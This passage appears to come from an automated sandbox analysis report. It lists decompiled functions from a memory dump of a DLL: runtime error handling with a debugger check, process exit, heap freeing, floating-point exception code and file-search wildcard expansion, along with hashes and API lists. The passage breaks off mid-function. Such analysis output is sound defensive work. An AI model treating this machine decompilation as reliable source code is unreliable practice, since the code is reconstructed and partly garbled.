Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual$ErrorLast$FreeHeap$InfoNativeSystem
String ID:
API String ID: 2732102410-0
Opcode ID: b8804073571a7da3e170d825c7c01d70ac4bb1d967febe788abb3e3d6f3122c6
Instruction ID: 755dbcde2a755651c88a6ce0a412f1e1ae1c3c4dab92bbc13f1e0a5aaac3559b
Opcode Fuzzy Hash: b8804073571a7da3e170d825c7c01d70ac4bb1d967febe788abb3e3d6f3122c6
Instruction Fuzzy Hash: E6129B71A006199FDB14CFAAC8E0B9AB7B5FF88304F148569E919EB349D731E851CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBFF39, Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EFBFF39(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4, char _a8, char _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x6efe609c; // 0x65dbd48f
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E6EFBCFBC(_t41);
					_pop(_t62);
				}
				E6EFBD230(_t67,  &_v804, 0, 0x50);
				E6EFBD230(_t67,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_t23 =  &_v0; // 0x5f000001
				_v540 =  *_t23;
				_t25 =  &_v0; // 0x6efb9ed2
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_t28 = _t49 - 4; // 0x3c248c8b
				_v544 =  *_t28;
				_t30 =  &_a8; // 0x2780
				_v804 =  *_t30;
				_t32 =  &_a12; // 0xc35de58b
				_v800 =  *_t32;
				_t34 =  &_v0; // 0x5f000001
				_v792 =  *_t34;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // 0x6efb9ba6
				if(UnhandledExceptionFilter(_t36) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_t38 =  &_a4; // 0xe8cc335e
					_push( *_t38);
					E6EFBCFBC(_t57);
				}
				_t39 =  &_v8; // 0xfffe8141
				return E6EFBC65E( *_t39 ^ _t70);
			}

0x6efbff39
0x6efbff39
0x6efbff39
0x6efbff39
0x6efbff44
0x6efbff49
0x6efbff4b
0x6efbff53
0x6efbff55
0x6efbff58
0x6efbff5d
0x6efbff5d
0x6efbff69
0x6efbff7c
0x6efbff8a
0x6efbff90
0x6efbff96
0x6efbff9c
0x6efbffa2
0x6efbffa8
0x6efbffae
0x6efbffb4
0x6efbffba
0x6efbffc0
0x6efbffc7
0x6efbffce
0x6efbffd5
0x6efbffdc
0x6efbffe3
0x6efbffea
0x6efbffeb
0x6efbfff1
0x6efbfff4
0x6efbfffa
0x6efbfffa
0x6efbfffd
0x6efc0003
0x6efc000d
0x6efc0010
0x6efc0016
0x6efc0019
0x6efc001f
0x6efc0022
0x6efc0028
0x6efc002b
0x6efc0039
0x6efc003b
0x6efc0041
0x6efc0050
0x6efc005c
0x6efc005c
0x6efc005f
0x6efc0064
0x6efc0065
0x6efc0073

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,6EFBC0D0), ref: 6EFC0031
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,6EFBC0D0), ref: 6EFC003B
UnhandledExceptionFilter.KERNEL32(6EFB9BA6,?,?,?,?,?,6EFBC0D0), ref: 6EFC0048

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 83cc47e8c4ae2a5ca2ac8029e2c8934c6a05242cdaa45a48c875bc91f0095eb9
Instruction ID: c1cc878f21e428d2d66a3ebf46b567496d303d04c931bd5fa1629ac1840b4708
Opcode Fuzzy Hash: 83cc47e8c4ae2a5ca2ac8029e2c8934c6a05242cdaa45a48c875bc91f0095eb9
Instruction Fuzzy Hash: A0312675D1122C9BCB61CF64C8887CEBBB8BF48310F2041EAE81CA7250EB309B858F55

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBF416, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFBF416(int _a4) {
				void* _t14;

				if(E6EFC14AE(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E6EFBF49B(_t14, _a4);
				ExitProcess(_a4);
			}

0x6efbf423
0x6efbf43f
0x6efbf43f
0x6efbf448
0x6efbf451

APIs

GetCurrentProcess.KERNEL32(?,?,6EFBF415,?,00000001,?,?), ref: 6EFBF438
TerminateProcess.KERNEL32(00000000,?,6EFBF415,?,00000001,?,?), ref: 6EFBF43F
ExitProcess.KERNEL32 ref: 6EFBF451

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 00984d46cd225b274fb08ed75178fd1e7c8c3aa035134121ae6d4adadc61d1a0
Instruction ID: 6e59cca0826e4bcb6e60c473d174d0029ff81a0abdd50727f070ba0239503c2e
Opcode Fuzzy Hash: 00984d46cd225b274fb08ed75178fd1e7c8c3aa035134121ae6d4adadc61d1a0
Instruction Fuzzy Hash: 7DE04636450548EFCFA16FA1CC2CA8A3F28FB81A51F208811F8089A120CB35E982CA91

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBC280, Relevance: 2.6, APIs: 2, Instructions: 53
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EFBC280(void* _a4) {
				void* _t14;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t25;
				intOrPtr _t26;
				signed int _t28;
				void* _t30;
				void* _t31;
				void* _t32;

				_t30 = _a4;
				if(_t30 != 0) {
					_t2 = _t30 + 0x30; // 0x2be9cccc
					E6EFBE93F( *_t2);
					_t3 = _t30 + 8; // 0xe8cc335e
					_t16 =  *_t3;
					_t32 = _t31 + 4;
					if(_t16 == 0) {
						L9:
						_t11 = _t30 + 4; // 0x5f000001
						_t17 =  *_t11;
						if(_t17 != 0) {
							_t12 = _t30 + 0x34; // 0xcc000027
							_t13 = _t30 + 0x20; // 0xc033cccc
							 *((intOrPtr*)( *_t13))(_t17, 0, 0x8000,  *_t12);
						}
						return HeapFree(GetProcessHeap(), 0, _t30);
					}
					_t28 = 0;
					if( *((intOrPtr*)(_t30 + 0xc)) <= 0) {
						L8:
						E6EFBE93F(_t16);
						_t32 = _t32 + 4;
						goto L9;
					}
					_t26 = _t16;
					do {
						_t25 =  *((intOrPtr*)(_t16 + _t28 * 4));
						if(_t25 != 0) {
							_t7 = _t30 + 0x34; // 0xcc000027
							_t8 = _t30 + 0x2c; // 0xcccccccc
							 *((intOrPtr*)( *_t8))(_t25,  *_t7);
							_t9 = _t30 + 8; // 0xe8cc335e
							_t16 =  *_t9;
							_t32 = _t32 + 8;
							_t26 = _t16;
						}
						_t28 = _t28 + 1;
						_t10 = _t30 + 0xc; // 0x2780
					} while (_t28 <  *_t10);
					_t16 = _t26;
					goto L8;
				}
				return _t14;
			}

0x6efbc284
0x6efbc289
0x6efbc28b
0x6efbc28e
0x6efbc293
0x6efbc293
0x6efbc296
0x6efbc29b
0x6efbc2d1
0x6efbc2d1
0x6efbc2d1
0x6efbc2d6
0x6efbc2d8
0x6efbc2e3
0x6efbc2e6
0x6efbc2e8
0x00000000
0x6efbc2f5
0x6efbc29e
0x6efbc2a3
0x6efbc2c7
0x6efbc2c8
0x6efbc2cd
0x00000000
0x6efbc2d0
0x6efbc2a5
0x6efbc2a7
0x6efbc2a7
0x6efbc2ac
0x6efbc2ae
0x6efbc2b1
0x6efbc2b5
0x6efbc2b7
0x6efbc2b7
0x6efbc2ba
0x6efbc2bd
0x6efbc2bd
0x6efbc2bf
0x6efbc2c0
0x6efbc2c0
0x6efbc2c5
0x00000000
0x6efbc2c5
0x6efbc2fd

APIs

Part of subcall function 6EFBE93F: _free.LIBCMT ref: 6EFBE952

GetProcessHeap.KERNEL32(00000000,6EFB9ECE,00023400), ref: 6EFBC2EE
HeapFree.KERNEL32(00000000), ref: 6EFBC2F5

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess_free
String ID:
API String ID: 3045083223-0
Opcode ID: 7e58df1641f191d98e3f7da5fe0e2698ed25dac06995e21a553335eae6efa628
Instruction ID: df651191bd247745d753d52b0bc356550fdb70cd39cc11ec6d42d67f5ccd520f
Opcode Fuzzy Hash: 7e58df1641f191d98e3f7da5fe0e2698ed25dac06995e21a553335eae6efa628
Instruction Fuzzy Hash: 4401B532700A029BD7609BEACC20F5777D9BFC4A10F004829F55ADBA50DB31F811CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC6564, Relevance: 1.8, APIs: 1, Instructions: 274
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6EFC6564(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed char _t193;
				signed int _t196;
				signed int _t200;
				signed int _t203;
				void* _t204;
				void* _t207;
				signed int _t210;
				void* _t211;
				signed int _t226;
				unsigned int* _t241;
				signed char _t243;
				signed int* _t251;
				unsigned int* _t257;
				signed int* _t258;
				signed char _t260;
				long _t263;
				signed int* _t266;

				 *(_a4 + 4) = 0;
				_t263 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t243 = _a12;
				if((_t243 & 0x00000010) != 0) {
					_t263 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t243 & 0x00000002) != 0) {
					_t263 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t243 & 0x00000001) != 0) {
					_t263 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t243 & 0x00000004) != 0) {
					_t263 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t243 & 0x00000008) != 0) {
					_t263 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t266 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 +  *_t266) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 5) ^  *(_a4 + 8)) & 1;
				_t260 = E6EFC5F8B(_a4);
				if((_t260 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t260 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t260 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t260 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t260 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t266 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffd | 1;
						L26:
						 *_t258 = _t226;
						L29:
						_t175 =  *_t266 & 0x00000300;
						if(_t175 == 0) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffeb | 0x00000008;
							L35:
							 *_t251 = _t178;
							L36:
							_t179 = _a4;
							_t255 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t255 = _a4;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t241;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t241;
							}
							E6EFC5EF1(_t255);
							RaiseException(_t263, 0, 1,  &_a4);
							_t257 = _a4;
							_t193 = _t257[2];
							if((_t193 & 0x00000010) != 0) {
								 *_t266 =  *_t266 & 0xfffffffe;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000008) != 0) {
								 *_t266 =  *_t266 & 0xfffffffb;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000004) != 0) {
								 *_t266 =  *_t266 & 0xfffffff7;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000002) != 0) {
								 *_t266 =  *_t266 & 0xffffffef;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000001) != 0) {
								 *_t266 =  *_t266 & 0xffffffdf;
							}
							_t196 =  *_t257 & 0x00000003;
							if(_t196 == 0) {
								 *_t266 =  *_t266 & 0xfffff3ff;
							} else {
								_t207 = _t196 - 1;
								if(_t207 == 0) {
									_t210 =  *_t266 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t266 = _t210;
									L58:
									_t200 =  *_t257 >> 0x00000002 & 0x00000007;
									if(_t200 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t266 = _t203;
										L65:
										if(_a28 == 0) {
											 *_t241 = _t257[0x14];
										} else {
											 *_t241 = _t257[0x14];
										}
										return _t203;
									}
									_t204 = _t200 - 1;
									if(_t204 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t203 = _t204 - 1;
									if(_t203 == 0) {
										 *_t266 =  *_t266 & 0xfffff3ff;
									}
									goto L65;
								}
								_t211 = _t207 - 1;
								if(_t211 == 0) {
									_t210 =  *_t266 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t211 == 1) {
									 *_t266 =  *_t266 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x6efc6572
0x6efc6579
0x6efc657e
0x6efc6584
0x6efc6587
0x6efc658d
0x6efc6592
0x6efc6597
0x6efc6597
0x6efc659d
0x6efc65a2
0x6efc65a7
0x6efc65a7
0x6efc65ae
0x6efc65b3
0x6efc65b8
0x6efc65b8
0x6efc65bf
0x6efc65c4
0x6efc65c9
0x6efc65c9
0x6efc65d0
0x6efc65d5
0x6efc65da
0x6efc65da
0x6efc65e2
0x6efc65f2
0x6efc6604
0x6efc6616
0x6efc6629
0x6efc663b
0x6efc6643
0x6efc6648
0x6efc664d
0x6efc664d
0x6efc6654
0x6efc6659
0x6efc6659
0x6efc6660
0x6efc6665
0x6efc6665
0x6efc666c
0x6efc6671
0x6efc6671
0x6efc6678
0x6efc667d
0x6efc667d
0x6efc6687
0x6efc6689
0x6efc66c3
0x6efc668b
0x6efc6690
0x6efc66b4
0x6efc66bc
0x6efc66b0
0x6efc66b0
0x6efc66c6
0x6efc66cd
0x6efc66cf
0x6efc66f1
0x6efc66f9
0x6efc66fc
0x6efc66fc
0x6efc66fe
0x6efc66fe
0x6efc6709
0x6efc670f
0x6efc6714
0x6efc671b
0x6efc6755
0x6efc6760
0x6efc6766
0x6efc6769
0x6efc676c
0x6efc6778
0x6efc6780
0x6efc671d
0x6efc6720
0x6efc672c
0x6efc6732
0x6efc6738
0x6efc673b
0x6efc6744
0x6efc6744
0x6efc6783
0x6efc6791
0x6efc6797
0x6efc679a
0x6efc679f
0x6efc67a1
0x6efc67a4
0x6efc67a4
0x6efc67a9
0x6efc67ab
0x6efc67ae
0x6efc67ae
0x6efc67b3
0x6efc67b5
0x6efc67b8
0x6efc67b8
0x6efc67bd
0x6efc67bf
0x6efc67c2
0x6efc67c2
0x6efc67c7
0x6efc67c9
0x6efc67c9
0x6efc67d6
0x6efc67d9
0x6efc6810
0x6efc67db
0x6efc67db
0x6efc67de
0x6efc6809
0x6efc67fe
0x6efc67fe
0x6efc6812
0x6efc681a
0x6efc681d
0x6efc683c
0x6efc6841
0x6efc6841
0x6efc6843
0x6efc6848
0x6efc6854
0x6efc684a
0x6efc684d
0x6efc684d
0x6efc6859
0x6efc6859
0x6efc681f
0x6efc6822
0x6efc6831
0x00000000
0x6efc6831
0x6efc6824
0x6efc6827
0x6efc6829
0x6efc6829
0x00000000
0x6efc6827
0x6efc67e0
0x6efc67e3
0x6efc67f9
0x00000000
0x6efc67f9
0x6efc67e8
0x6efc67ea
0x6efc67ea
0x6efc67e8
0x00000000
0x6efc67d9
0x6efc66d6
0x6efc66e4
0x6efc66ec
0x00000000
0x6efc66ec
0x6efc66da
0x6efc66df
0x6efc66df
0x00000000
0x6efc66da
0x6efc6697
0x6efc66a5
0x6efc66ad
0x00000000
0x6efc66ad
0x6efc669b
0x6efc66a0
0x6efc66a0
0x6efc669b

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6EFC655F,?,?,00000008,?,?,6EFC61F3,00000000), ref: 6EFC6791

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 6acab89dc456fadedb58fa02eaf173690ab8799856f994f64c0c021cf02691cd
Instruction ID: ccd168954ee9ffaf897b96f278a69e2e61a551e1c189dd34103c79e0b888996e
Opcode Fuzzy Hash: 6acab89dc456fadedb58fa02eaf173690ab8799856f994f64c0c021cf02691cd
Instruction Fuzzy Hash: 11B1A171224606DFD704CF58C4A6B667BE0FF05B64F228658F8A9CF2A1C735E981CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC188A, Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6EFC188A(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				union _FINDEX_INFO_LEVELS _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _v48;
				struct _WIN32_FIND_DATAW _v604;
				char _v605;
				intOrPtr* _v612;
				union _FINDEX_INFO_LEVELS _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				signed int _v628;
				union _FINDEX_INFO_LEVELS _v632;
				union _FINDEX_INFO_LEVELS _v636;
				signed int _v640;
				signed int _v644;
				union _FINDEX_INFO_LEVELS _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				signed int _v664;
				union _FINDEX_INFO_LEVELS _v668;
				union _FINDEX_INFO_LEVELS _v672;
				intOrPtr _t68;
				signed int _t73;
				signed int _t75;
				char _t77;
				signed char _t78;
				signed int _t84;
				signed int _t94;
				signed int _t97;
				union _FINDEX_INFO_LEVELS _t98;
				intOrPtr* _t106;
				signed int _t109;
				intOrPtr _t117;
				signed int _t119;
				signed int _t122;
				signed int _t124;
				void* _t127;
				union _FINDEX_INFO_LEVELS _t128;
				intOrPtr* _t131;
				intOrPtr* _t134;
				signed int _t136;
				intOrPtr* _t139;
				signed int _t144;
				signed int _t150;
				void* _t156;
				void* _t157;
				signed int _t160;
				intOrPtr _t162;
				void* _t167;
				void* _t168;
				signed int _t170;
				signed int _t173;
				void* _t174;
				signed int _t175;
				void* _t176;
				void* _t177;

				_push(__ecx);
				_t134 = _a4;
				_t2 = _t134 + 1; // 0x1
				_t156 = _t2;
				do {
					_t68 =  *_t134;
					_t134 = _t134 + 1;
				} while (_t68 != 0);
				_push(__edi);
				_t160 = _a12;
				_t136 = _t134 - _t156 + 1;
				_v8 = _t136;
				if(_t136 <=  !_t160) {
					_push(__ebx);
					_push(__esi);
					_t5 = _t160 + 1; // 0x1
					_t127 = _t5 + _t136;
					_t167 = E6EFC01B7(_t136, _t127, 1);
					__eflags = _t160;
					if(_t160 == 0) {
						L7:
						_push(_v8);
						_t127 = _t127 - _t160;
						_t73 = E6EFC4A43(_t167 + _t160, _t127, _a4);
						_t175 = _t174 + 0x10;
						__eflags = _t73;
						if(_t73 != 0) {
							goto L12;
						} else {
							_t131 = _a16;
							_t119 = E6EFC1C8B(_t131);
							_v8 = _t119;
							__eflags = _t119;
							if(_t119 == 0) {
								 *( *(_t131 + 4)) = _t167;
								_t170 = 0;
								_t14 = _t131 + 4;
								 *_t14 =  *(_t131 + 4) + 4;
								__eflags =  *_t14;
							} else {
								E6EFBFEFF(_t167);
								_t170 = _v8;
							}
							E6EFBFEFF(0);
							_t122 = _t170;
							goto L4;
						}
					} else {
						_push(_t160);
						_t124 = E6EFC4A43(_t167, _t127, _a8);
						_t175 = _t174 + 0x10;
						__eflags = _t124;
						if(_t124 != 0) {
							L12:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E6EFC00F7();
							asm("int3");
							_t173 = _t175;
							_t176 = _t175 - 0x298;
							_t75 =  *0x6efe609c; // 0x65dbd48f
							_v48 = _t75 ^ _t173;
							_t139 = _v32;
							_t157 = _v28;
							_push(_t127);
							_push(0);
							_t162 = _v36;
							_v648 = _t157;
							__eflags = _t139 - _t162;
							if(_t139 != _t162) {
								while(1) {
									_t117 =  *_t139;
									__eflags = _t117 - 0x2f;
									if(_t117 == 0x2f) {
										break;
									}
									__eflags = _t117 - 0x5c;
									if(_t117 != 0x5c) {
										__eflags = _t117 - 0x3a;
										if(_t117 != 0x3a) {
											_t139 = E6EFC4A90(_t162, _t139);
											__eflags = _t139 - _t162;
											if(_t139 != _t162) {
												continue;
											}
										}
									}
									break;
								}
								_t157 = _v612;
							}
							_t77 =  *_t139;
							_v605 = _t77;
							__eflags = _t77 - 0x3a;
							if(_t77 != 0x3a) {
								L23:
								_t128 = 0;
								__eflags = _t77 - 0x2f;
								if(__eflags == 0) {
									L26:
									_t78 = 1;
								} else {
									__eflags = _t77 - 0x5c;
									if(__eflags == 0) {
										goto L26;
									} else {
										__eflags = _t77 - 0x3a;
										_t78 = 0;
										if(__eflags == 0) {
											goto L26;
										}
									}
								}
								_v672 = _t128;
								_v668 = _t128;
								_push(_t167);
								asm("sbb eax, eax");
								_v664 = _t128;
								_v660 = _t128;
								_v640 =  ~(_t78 & 0x000000ff) & _t139 - _t162 + 0x00000001;
								_v656 = _t128;
								_v652 = _t128;
								_t84 = E6EFC167A(_t139 - _t162 + 1, _t162,  &_v672, E6EFC1B96(_t157, __eflags));
								_t177 = _t176 + 0xc;
								asm("sbb eax, eax");
								_t168 = FindFirstFileExW( !( ~_t84) & _v664, _t128,  &_v604, _t128, _t128, _t128);
								__eflags = _t168 - 0xffffffff;
								if(_t168 != 0xffffffff) {
									_t144 =  *((intOrPtr*)(_v612 + 4)) -  *_v612;
									__eflags = _t144;
									_t145 = _t144 >> 2;
									_v644 = _t144 >> 2;
									do {
										_v636 = _t128;
										_v632 = _t128;
										_v628 = _t128;
										_v624 = _t128;
										_v620 = _t128;
										_v616 = _t128;
										_t94 = E6EFC15AB( &(_v604.cFileName),  &_v636,  &_v605, E6EFC1B96(_t157, __eflags));
										_t177 = _t177 + 0x10;
										asm("sbb eax, eax");
										_t97 =  !( ~_t94) & _v628;
										__eflags =  *_t97 - 0x2e;
										if( *_t97 != 0x2e) {
											L34:
											_push(_v612);
											_t98 = E6EFC188A(_t128, _t145, _t162, _t168, _t97, _t162, _v640);
											_t177 = _t177 + 0x10;
											_v648 = _t98;
											__eflags = _t98;
											if(_t98 != 0) {
												__eflags = _v616 - _t128;
												if(_v616 != _t128) {
													E6EFBFEFF(_v628);
													_t98 = _v648;
												}
												_t128 = _t98;
											} else {
												goto L35;
											}
										} else {
											_t145 =  *((intOrPtr*)(_t97 + 1));
											__eflags = _t145;
											if(_t145 == 0) {
												goto L35;
											} else {
												__eflags = _t145 - 0x2e;
												if(_t145 != 0x2e) {
													goto L34;
												} else {
													__eflags =  *((intOrPtr*)(_t97 + 2)) - _t128;
													if( *((intOrPtr*)(_t97 + 2)) == _t128) {
														goto L35;
													} else {
														goto L34;
													}
												}
											}
										}
										L43:
										FindClose(_t168);
										goto L44;
										L35:
										__eflags = _v616 - _t128;
										if(_v616 != _t128) {
											E6EFBFEFF(_v628);
											_pop(_t145);
										}
										__eflags = FindNextFileW(_t168,  &_v604);
									} while (__eflags != 0);
									_t106 = _v612;
